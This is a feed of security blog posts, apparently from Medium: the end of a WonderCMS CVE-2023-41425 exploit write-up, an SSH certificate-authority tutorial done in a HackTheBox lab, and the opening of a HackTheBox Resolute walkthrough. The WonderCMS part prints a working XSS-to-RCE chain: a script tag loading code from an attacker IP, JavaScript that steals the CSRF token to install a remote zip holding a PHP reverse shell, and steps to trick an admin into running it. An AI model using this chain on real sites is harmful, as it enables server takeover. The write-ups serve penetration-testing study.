$this-&gt;getSingleModuleCachedData($folderName, $type);<br>  $url = !empty($cached) ? $cached[&#39;zip&#39;] : null;<br><br>  if (empty($url)) {<br>   $this-&gt;alert(&#39;danger&#39;, &#39;Unable to find theme or plugin.&#39;);<br>   return;<br>  }<br><br>---snip---</pre><p>To make the <strong>exploit work</strong>, the malicious user should either be <strong>authenticated</strong> or <strong>make authenticated user execute </strong>some malicious code.</p><h4>Why?</h4><p>For the exploit to work, the vulnerable endpoint, installModule can only be accessed through <strong>authenticated user</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*sg8VdtdR1a6T-Q8oYTbBfA.png" /></figure><h4><strong>Is It Installed?</strong></h4><p>To exploit the CMS and the vulnerability, we should be sure if the CMS and the vulnerable version is installed or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bqaQbM4mJTxtJXKGxMhYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*lMZku1elHZi7ns9Tx1hyYg.png" /></figure><p><strong>We already Got The Exploit!</strong></p><p><a href="https://github.com/prodigiousMind/CVE-2023-41425">GitHub - prodigiousMind/CVE-2023-41425: WonderCMS Authenticated RCE - CVE-2023-41425</a></p><h4>How does it work? and WHY does it work?</h4><p>As stated earlier, the <strong>exploit works </strong>only if <strong>you’re an authenticated user</strong> or an <strong>authenticated user executes the exploit</strong>.</p><p>The vulnerability lies in the <strong>loginURL </strong>endpoint through an <strong>XSS</strong> which allows a remote attacker to <strong>execute arbitrary code</strong> via a crafted script uploaded to the <strong>installModule</strong> component.</p><h4>The exploit code:</h4><blockquote>somesite.com/wondercms/index.php?page=loginURL?”&gt;&lt;/form&gt;&lt;script+src=”<a href="http://192.168.29.165:8000/xss.js">http://attacker.ip/xss.js</a>”&gt;&lt;/script&gt;&lt;form+action=”</blockquote><h4>Part 1: somesite.com/wondercms/index.php?page=home</h4><p>In wondercms, if authenticated user tries to query the above url, it will try to check if the page exists. If exists, it will display the content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*Awx0dVkbkq_Mam5szOoxww.png" /></figure><p>But even if it <strong>doesn’t exist</strong>, it will say it doesn’t exist but will <strong>prompt</strong> user to <strong>create new page</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*PJ8lMTFG4MMzk6mUpCEKyA.png" /></figure><p>Now, the<strong> vulnerability is found </strong>this parameter. As it tries to render the page, although exists or not, it creates the <strong>settings</strong> for the pages automatically by <strong>fetching data from the url directly</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34c8Ka1TdNKME5eMW_S_0w.png" /></figure><p>And since the fetched url is <strong>inserted directly</strong> into the html code, it can be <strong>bypassed</strong> with the use of <strong>quotes</strong> i.e. <strong>“ .</strong></p><p>And Hence the <strong>XSS can be performed</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*5phS3s-PLUX2u0BGOcCXYw.png" /></figure><h4>XSS to RCE</h4><p>As stated earlier, the RCE vulnerability lies in the <strong>installModule</strong> component of the CMS.</p><pre>public function installUpdateModuleAction(): void<br> {<br>  if (!isset($_REQUEST[&#39;installModule&#39;], $_REQUEST[&#39;type&#39;]) || !$this-&gt;verifyFormActions(true)) {<br>   return;<br>  }<br><br>  $folderName = trim(htmlspecialchars($_REQUEST[&#39;installModule&#39;]));<br>  $type = $_REQUEST[&#39;type&#39;];<br>  $cached = $this-&gt;getSingleModuleCachedData($folderName, $type);<br>  $url = !empty($cached) ? $cached[&#39;zip&#39;] : null;<br><br>  if (empty($url)) {<br>   $this-&gt;alert(&#39;danger&#39;, &#39;Unable to find theme or plugin.&#39;);<br>   return;<br>  }<br><br>  $path = sprintf(&#39;%s/%s/&#39;, $this-&gt;rootDir, $type);<br><br>  if (in_array($type, self::VALID_DIRS, true)) {<br>   $zipFile = $this-&gt;filesPath . &#39;/ZIPFromURL.zip&#39;;<br>   $zipResource = fopen($zipFile, &#39;w&#39;);<br>   $ch = curl_init();<br>   curl_setopt($ch, CURLOPT_URL, $url);<br>   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);<br>   curl_setopt($ch, CURLOPT_FILE, $zipResource);<br>   curl_exec($ch);<br>   $curlError = curl_error($ch);<br>   curl_close($ch);<br>   $zip = new \ZipArchive;<br>   if ($curlError || $zip-&gt;open($zipFile) !== true || (stripos($url, &#39;.zip&#39;) === false)) {<br>    $this-&gt;recursiveDelete($this-&gt;rootDir . &#39;/data/files/ZIPFromURL.zip&#39;);<br>    $this-&gt;alert(&#39;danger&#39;,<br>     &#39;Error opening ZIP file.&#39; . ($curlError ? &#39; Error description: &#39; . $curlError : &#39;&#39;));<br>    $this-&gt;redirect();<br>   }<br>   // First delete old plugin folder<br>   $this-&gt;recursiveDelete($path . $folderName);<br><br>   // Then extract new one<br>   $zip-&gt;extractTo($path);<br>   $zip-&gt;close();<br>   $this-&gt;recursiveDelete($this-&gt;rootDir . &#39;/data/files/ZIPFromURL.zip&#39;);<br>   $moduleFolder = $path . $folderName . &#39;-master&#39;;<br>   if (!is_dir($moduleFolder)) {<br>    $moduleFolder = $path . $folderName . &#39;-main&#39;;<br>   }<br>   if (is_dir($moduleFolder) &amp;&amp; !rename($moduleFolder, $path . $folderName)) {<br>    throw new Exception(&#39;Theme or plugin not installed. Possible cause: themes or plugins folder is not writable.&#39;);<br>   }<br>   $this-&gt;alert(&#39;success&#39;, &#39;Successfully installed/updated &#39; . $folderName . &#39;.&#39;);<br>   $this-&gt;redirect();<br>  }<br> }</pre><p>The <strong>installUpdateModuleAction</strong> function in WonderCMS handles the process of installing or updating themes and plugins. It begins by validating user input and retrieving module information i.e. if request has <strong>installModule</strong> and <strong>type</strong> present or not. Subsequently, it <strong>downloads</strong> the required zip file,<strong> extracts</strong> its contents, and <strong>installs </strong>the module in the <strong>designated directory</strong>. The function includes error handling for various scenarios, such as download failures, zip extraction issues, and directory manipulation problems. Finally, it provides feedback to the user about the installation outcome.</p><p>In simple terms, if the <strong>zip file link</strong> is present in the <strong>installModule</strong> as well as <strong>folder path</strong> in the <strong>type</strong> keyword in url, the CMS would just <strong>download</strong> whatsoever and <strong>install</strong> it.</p><h4>XSS Exploit</h4><pre>var url = &quot;somesite.com/wondercms/loginURL&quot;;<br>if (url.endsWith(&quot;/&quot;)) {<br> url = url.slice(0, -1);<br>}<br>var urlWithoutLog = url.split(&quot;/&quot;).slice(0, -1).join(&quot;/&quot;);<br>var urlWithoutLogBase = new URL(urlWithoutLog).pathname; <br>var token = document.querySelectorAll(&#39;[name=&quot;token&quot;]&#39;)[0].value;<br>var urlRev = urlWithoutLogBase+&quot;/?installModule=https://attacker-ip/rev.zip&amp;directoryName=violet&amp;type=themes&amp;token=&quot; + token;<br>var xhr3 = new XMLHttpRequest();<br>xhr3.withCredentials = true;<br>xhr3.open(&quot;GET&quot;, urlRev);<br>xhr3.send();<br>xhr3.onload = function() {<br> if (xhr3.status == 200) {<br>   var xhr4 = new XMLHttpRequest();<br>   xhr4.withCredentials = true;<br>   xhr4.open(&quot;GET&quot;, urlWithoutLogBase+&quot;/themes/revshell-main/rev.php&quot;);<br>   xhr4.send();<br>   xhr4.onload = function() {<br>     if (xhr4.status == 200) {<br>       var ip = &quot;attacker-ip&quot;;<br>       var listeningPort = &quot;attacker-port&quot;;<br>       var xhr5 = new XMLHttpRequest();<br>       xhr5.withCredentials = true;<br>       xhr5.open(&quot;GET&quot;, urlWithoutLogBase+&quot;/themes/revshell-main/rev.php?lhost=&quot; + ip + &quot;&amp;lport=&quot; + listeningPort);<br>       xhr5.send();<br>       <br>     }<br>   };<br> }<br>};</pre><blockquote>Note: <strong>attacker-ip</strong> and<strong> attacker-port</strong> has to be <strong>modified</strong> as per requirement.</blockquote><blockquote>The <strong>required zip</strong> file can be downloaded from <a href="https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip"><strong>this link</strong></a>. It just contains a <strong>pentest monkey revshell php</strong> file. So, it can be <strong>self created</strong>.</blockquote><h4>What if a user can’t get authenticated?</h4><p>As stated earlier try to make the authenticated user execute it.</p><p>Follow the steps:</p><ol><li>Start the exploit.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7rVlKuKfTo7ejyeXfJvZw.png" /></figure><p>2. Register the user and send the link through website in the registration page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*IRbm6zmif9mp-rsKtgDO8Q.png" /></figure><p>We get the <strong>request</strong> for main.zip that consists our<strong> RCE payload</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*wrnzZ8nS4mDZEeOUFtu8xw.png" /></figure><p>Upon request to our <strong>revshell</strong> file through browser, we can get the <strong>RCE</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*nd0ouBfGN5TF-Q2aSbAzJQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ebffbff37d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSH: CAs and Principals]]></title>
            <link>https://shivamaharjan.medium.com/ssh-cas-and-principals-630a433d76d6?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/630a433d76d6</guid>
            <category><![CDATA[new-thing-to-learn]]></category>
            <category><![CDATA[season-6]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[certification-authority]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 17:46:42 GMT</pubDate>
            <atom:updated>2024-08-06T17:55:22.447Z</atom:updated>
            <content:encoded><![CDATA[<p>We all have accessed Linux servers with the use of SSH. SSH lets us have a remote shell on a host over an encrypted channel. We have used the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*mdevCkNcHY-bc6pS.png" /></figure><ol><li><strong>Password Based Authentication:</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*JfYwfX9n9vpefAOpLQZ3Iw.png" /></figure><p>2. <strong>SSH keys based authentication:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*oAUQ7iKGthPnTtaeI8PMAQ.png" /></figure><p>But it can also be used to create signed keys.</p><p>3.<strong> Signed Keys:</strong></p><p>Turns out it can also be used to build a <a href="https://letsencrypt.org/certificates/"><strong>chain of trust</strong></a>, wherein public key A can be <strong>signed</strong> by private key B, and if you have the public key of B, you can <strong>verify</strong> that signature and <strong>trust</strong> public key A.</p><h4>Creating Own CA and Signing Keys</h4><p>So, let’s create a CA</p><pre>msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t ecdsa -C &quot;The CA&quot; -N &quot;&quot; -f ca-itrc<br>Generating public/private ecdsa key pair.<br>Your identification has been saved in ca-itrc<br>Your public key has been saved in ca-itrc.pub<br>The key fingerprint is:<br>SHA256:k9QAbPygssGpVdHWSWz6cb58gh6y4TfRhylXdqaqSNg The CA<br>The key&#39;s randomart image is:<br>+---[ECDSA 256]---+<br>|    .=.=o.       |<br>|    . B =o       |<br>| . o + =. .      |<br>|  * . ..o.. o o  |<br>| o +   .S= = +   |<br>|. .  o  +.* o    |<br>|    . E .* +     |<br>|     o =+.= .    |<br>|      +ooo o     |<br>+----[SHA256]-----+</pre><p>This will create private and public key files <strong>ca-itrc </strong>and <strong>ca-itrc.pub </strong>respectively that will be used to sign the certificates.</p><pre>msainristil@itrc:$ ssh-keygen -t ecdsa -C &quot;The CA&quot; -N &quot;&quot; -f shiva<br>Generating public/private ecdsa key pair.<br>Your identification has been saved in shiva<br>Your public key has been saved in shiva.pub<br>The key fingerprint is:<br>SHA256:ZzKwsN/AGX37kH1FWcAGbe5fe+KSIbidRmoh7XLsnSI The CA<br>The key&#39;s randomart image is:<br>+---[ECDSA 256]---+<br>|            .+..=|<br>|       .      =o |<br>|    . o . .  +  .|<br>|     + = . +  .. |<br>|    . =.S.* ...  |<br>|     ..o+=oo... .|<br>|      .+.* o.o .o|<br>|      E O.+.o ..o|<br>|       *.oo  o...|<br>+----[SHA256]-----+</pre><p>This will also generate key named shiva and shiva.pub that we are going to use as key to login. We would have saved shiva.pub to authorized_keys of the server previously. But, since we are going to implement a CA, it is a little bit different.</p><h4>Signing key with CA’s private key:</h4><pre>msainristil@itrc:$ ssh-keygen -s ./ca-itrc -I CA-signing -n msainristil,zzinter,root -V +1w -z 1 ./shiva.pub<br>Signed user key ./shiva-cert.pub: id &quot;CA-signing&quot; serial 1 for msainristil,zzinter,root valid from 2024-08-06T22:30:00 to 2024-08-13T22:31:37</pre><p>Here:</p><ul><li><strong>-s</strong>: This is the <strong>private key </strong>that we are using to <strong>sign</strong> shiva.pub.</li><li><strong>-I</strong>: This is the “<strong>key identifier</strong>”, which can be any arbitrary string</li><li><strong>-n</strong>: This is one or more “<strong>principals</strong>” that are included in the signature. It can also be used to<strong> identify specific host or specific user(s)</strong> on a specific host.</li><li><strong>-V</strong>: How long is the <strong>signature valid for?</strong> +1w means one week. But can be shortened to hours to ensure if any keys are compromised, those won’t be worth anything.</li><li><strong>-z</strong>: The <strong>serial number</strong> of the signed key. Helps to identify, how many keys have been signed.</li></ul><p>We can view the created signed public key with the following command.</p><pre>msainristil@itrc:$ ssh-keygen -Lf shiva-cert.pub <br>shiva-cert.pub:<br>        Type: ecdsa-sha2-nistp256-cert-v01@openssh.com user certificate<br>        Public key: ECDSA-CERT SHA256:ZzKwsN/AGX37kH1FWcAGbe5fe+KSIbidRmoh7XLsnSI<br>        Signing CA: RSA SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs (using rsa-sha2-512)<br>        Key ID: &quot;CA-signing&quot;<br>        Serial: 1<br>        Valid: from 2024-08-06T22:30:00 to 2024-08-13T22:31:37<br>        Principals: <br>                msainristil<br>                zzinter<br>                root<br>        Critical Options: (none)<br>        Extensions: <br>                permit-X11-forwarding<br>                permit-agent-forwarding<br>                permit-port-forwarding<br>                permit-pty<br>                permit-user-rc</pre><h4><strong>The Principal</strong></h4><p>A principal is an arbitrary string that can allow access to a specific host, or even a specific user on a specific host. When keys are being signed, one or more principals can be specified.</p><p>In the example above, that key has three principals: “msainristil”, “zzinter” and “root”. So, the key can be used to access as all three users in the server.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/open_season/resource/certs]<br>└─$ ssh -o CertificateFile=shiva-cert.pub -i shiva root@ssg.htb<br>Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64<br><br>The programs included with the Debian GNU/Linux system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br><br>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>permitted by applicable law.<br>Last login: Thu Jul 25 12:49:07 2024 from 10.10.14.23<br>root@itrc:~#</pre><p>Here:</p><ul><li><strong>-o CertificateFile: </strong>This specifies the certificate file that was created after the signing process.</li><li><strong>-i</strong>: This specifies the private key of the client of which the public key was signed of.</li></ul><h4>Configure SSHD to Allow CA-signed Keys</h4><p>Now, to finalize the use of CA in the system, we need to deploy the public key to every machine that needs to be configured. It will require some effort, but it’s a one-time things (unless a new CA is created for every system).</p><p>Let’s put the key into the file /etc/ssh/ca-itrc.pub. Then, we’ll need to add these lines into /etc/ssh/sshd_config:</p><pre>root@itrc:~# cat /etc/ssh/sshd_config<br><br># This is the sshd server system-wide configuration file.  See<br># sshd_config(5) for more information.<br><br># This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games<br><br># The strategy used for options in the default sshd_config shipped with<br># OpenSSH is to specify options with their default value where<br># possible, but leave them commented.  Uncommented options override the<br># default value.<br><br>Include /etc/ssh/sshd_config.d/*.conf<br>---snip---</pre><p>Here:</p><p>A new file <strong>sshcerts.conf</strong> is being read as the <strong>sshd_config</strong> file has included files as <strong>/etc/ssh/sshd_config.d/*.conf. </strong>In the file, it is defined to use /etc/ssh/ca_users_keys.pub (copied from ca-itrc.pub) as <strong>TrustedUserCAKeys.</strong></p><pre>root@itrc:~# cat /etc/ssh/sshd_config.d/sshcerts.conf  <br>HostKey /etc/ssh/ssh_host_rsa_key<br>HostKey /etc/ssh/ssh_host_ecdsa_key<br>HostKey /etc/ssh/ssh_host_ed25519_key<br>HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub<br>HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub<br>HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub<br>TrustedUserCAKeys /etc/ssh/ca_users_keys.pub<br><br>root@itrc:~# cat  /etc/ssh/ca_users_keys.pub /home/msainristil/decommission_old_ca/ca-itrc.pub <br>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA<br>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmx Global SSG SSH Certficiate from IT<br>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA</pre><h4>Authorized Principle:</h4><p>Authorized principles can also be used to specify which user can have what principle name in order to be signed properly.</p><p>For one such instance,</p><pre>support@ssg:~$ cat /etc/ssh/sshd_config.d/sshcerts.conf <br>HostKey /etc/ssh/ssh_host_dsa_key<br>HostKey /etc/ssh/ssh_host_ecdsa_key<br>HostKey /etc/ssh/ssh_host_rsa_key<br>HostKey /etc/ssh/ssh_host_ed25519_key<br>HostCertificate /etc/ssh/ssh_host_dsa_key-cert.pub<br>HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub<br>HostCertificate /etc/ssh/ssh_host_rsa_key-cert.pub<br>HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub<br>TrustedUserCAKeys /etc/ssh/ca-it.pub<br>AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u<br>PasswordAuthentication no</pre><p>Here,</p><ul><li><strong>AuthorizedPrincipalsFile</strong> is defined to /etc/ssh/auth_principals. In previous instance, we just used <strong>username as principle</strong> but in such case we also need to <strong>match the principal name</strong> in order to get <strong>signature verification</strong>.</li></ul><pre>support@ssg:~$ cat /etc/ssh/auth_principals/support<br>support<br>root_user<br>support@ssg:~$ cat /etc/ssh/auth_principals/zzinter<br>zzinter_temp</pre><p>In example above, a user can sign as <strong>support</strong> user using <strong>support or root_user </strong>as <strong>principle</strong> but for <strong>zzinter,</strong> they have to use <strong>zzinter_temp</strong> else it won’t be <strong>authenticated</strong>.</p><p>For this, a server has been created to create a signature hence, we can use the service, to get authenticated.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/open_season/resource]<br>└─$ curl -s signserv.ssg.htb/v1/sign -d &#39;{&quot;pubkey&quot;: &quot;&#39;&quot;`cat ./certs/shiva.pub`&quot;&#39;&quot;, &quot;username&quot;: &quot;&#39;&quot;zzinter&quot;&#39;&quot;, &quot;principals&quot;: &quot;&#39;&quot;zzinter_temp&quot;&#39;&quot;}&#39; -H &quot;Content-Type: application/json&quot; -H &quot;Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmO..redacted..rYgmSve5jCmnPJDE&quot;&gt; zzinter-cert.pub<br><br>┌──(shiva㉿shivamaharjan)-[~/htb/open_season/resource]<br>└─$ ssh -o CertificateFile=zzinter-cert.pub -i ./certs/shiva zzinter@ssg.htb -p 2222Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br><br> System information as of Tue Aug  6 05:39:36 PM UTC 2024<br><br>  System load:           0.02<br>  Usage of /:            66.6% of 10.73GB<br>  Memory usage:          11%<br>  Swap usage:            0%<br>  Processes:             237<br>  Users logged in:       0<br>  IPv4 address for eth0: 10.129.130.118<br>  IPv6 address for eth0: dead:beef::250:56ff:feb9:7cec<br><br><br>Expanded Security Maintenance for Applications is not enabled.<br><br>0 updates can be applied immediately.<br><br>Enable ESM Apps to receive additional future security updates.<br>See https://ubuntu.com/esm or run: sudo pro status<br><br><br>The list of available updates is more than a week old.<br>To check for new updates run: sudo apt update<br>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br><br><br>Last login: Thu Jul 25 12:49:12 2024 from 10.10.14.23<br>zzinter@ssg:~$ </pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=630a433d76d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Resolute | HTB Walkthrough]]></title>
            <link>https://shivamaharjan.medium.com/resoulte-htb-walkthrough-b32bafcb3ffb?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/b32bafcb3ffb</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[dns-admin]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Thu, 25 Jul 2024 09:47:02 GMT</pubDate>
            <atom:updated>2024-07-25T14:56:30.179Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*btvNPE_nshYYFTL8nK3TCw.png" /></figure><p>Resolute is an easy difficulty Windows machine that features Active Directory. The Active Directory anonymous bind is used to obtain a password that the sysadmins set for new user accounts, although it seems that the password for that account has since changed. A password spray reveals that this password is still in use for another domain user account, which gives us access to the system over WinRM. A PowerShell transcript log is discovered, which has captured credentials passed on the command-line. This is used to move laterally to a user that is a member of the DnsAdmins group. This group has the ability to specify that the DNS Server service loads a plugin DLL. After restarting the DNS service, we achieve command execution on the domain controller in the context of `NT_AUTHORITY\SYSTEM`.</p><h3><strong>Things to Learn:</strong></h3><ol><li><a href="https://www.kali.org/tools/enum4linux/"><strong>enum4linux</strong></a>: Helps to get information about the system without any prior knowledge. Hence, very useful while enumerating systems.</li><li><a href="https://www.stationx.net/crackmapexec-cheat-sheet/"><strong>crackmapexec</strong></a>: Package is a swiss army knife for pentesting Windows/Active Directory environments.</li><li><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4"><strong>PStranscripts</strong></a>: File with Record of all or part of a PowerShell session.</li><li><a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#dnsadmins"><strong>DnsAdmins</strong></a><strong>: </strong>Members of the DnsAdmins group have access to network DNS information. The default permissions are Allow: Read, Write, Create All Child objects, Delete Child objects, Special Permissions. This group exists only if the DNS server role is or was once installed on a domain controller in the domain. Members of the <strong>DnsAdmins</strong> group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.</li></ol><h3><strong>Enumeration</strong></h3><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ cat resolute.nmap                                                                                                                                            <br># Nmap 7.93 scan initiated Wed Jul 24 21:44:16 2024 as: nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49684,49737, -vvv -oN resolute.nmap.full -sCV --min-rate 5000 10.129.96.155<br>Nmap scan report for megabank.local (10.129.96.155)<br>Host is up, received conn-refused (0.081s latency).<br>Scanned at 2024-07-24 21:44:19 +0545 for 72s<br><br>PORT      STATE  SERVICE      REASON       VERSION<br>53/tcp    open   domain       syn-ack      Simple DNS Plus<br>88/tcp    open   kerberos-sec syn-ack      Microsoft Windows Kerberos (server time: 2024-07-24 16:06:15Z)<br>135/tcp   open   msrpc        syn-ack      Microsoft Windows RPC<br>139/tcp   open   netbios-ssn  syn-ack      Microsoft Windows netbios-ssn<br>389/tcp   open   ldap         syn-ack      Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)<br>445/tcp   open   microsoft-ds syn-ack      Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)<br>464/tcp   open   kpasswd5?    syn-ack<br>593/tcp   open   ncacn_http   syn-ack      Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open   tcpwrapped   syn-ack<br>3268/tcp  open   ldap         syn-ack      Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)<br>3269/tcp  open   tcpwrapped   syn-ack<br>5985/tcp  open   http         syn-ack      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open   mc-nmf       syn-ack      .NET Message Framing<br>47001/tcp open   http         syn-ack      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open   msrpc        syn-ack      Microsoft Windows RPC<br>49665/tcp open   msrpc        syn-ack      Microsoft Windows RPC<br>49666/tcp open   msrpc        syn-ack      Microsoft Windows RPC<br>49667/tcp open   msrpc        syn-ack      Microsoft Windows RPC<br>49671/tcp open   msrpc        syn-ack      Microsoft Windows RPC<br>49678/tcp open   ncacn_http   syn-ack      Microsoft Windows RPC over HTTP 1.0<br>49679/tcp open   msrpc        syn-ack      Microsoft Windows RPC<br>49684/tcp open   msrpc        syn-ack      Microsoft Windows RPC<br>49737/tcp closed unknown      conn-refused<br>Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 33493/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 2 (port 29273/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 3 (port 15172/udp): CLEAN (Timeout)<br>|   Check 4 (port 32520/udp): CLEAN (Failed to receive data)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb-security-mode: <br>|   account_used: &lt;blank&gt;<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: required<br>| smb2-security-mode: <br>|   311: <br>|_    Message signing enabled and required<br>| smb-os-discovery: <br>|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)<br>|   Computer name: Resolute<br>|   NetBIOS computer name: RESOLUTE\x00<br>|   Domain name: megabank.local<br>|   Forest name: megabank.local<br>|   FQDN: Resolute.megabank.local<br>|_  System time: 2024-07-24T09:07:10-07:00<br>| smb2-time: <br>|   date: 2024-07-24T16:07:09<br>|_  start_date: 2024-07-24T16:01:14<br>|_clock-skew: mean: 2h26m50s, deviation: 4h02m30s, median: 6m49s<br><br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Wed Jul 24 21:45:31 2024 -- 1 IP address (1 host up) scanned in 75.38 seconds</pre><p>Upon running enum4linux, following result can be seen. Also a username is found with the password.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/resolute]<br>└─$ enum4linux -U 10.129.96.155                                                                                                                                       <br>Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jul 24 21:50:36 2024<br><br> =========================================( Target Information )=========================================<br>                                                                                                                                                                      <br>Target ........... 10.129.96.155                                                                                                                                      <br>RID Range ........ 500-550,1000-1050<br>Username ......... &#39;&#39;<br>Password ......... &#39;&#39;<br>Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none<br><br>...snip...<br>                                                                                                                  <br>=======================================( Users on 10.129.96.155 )=======================================<br>                                                                                                                                                                      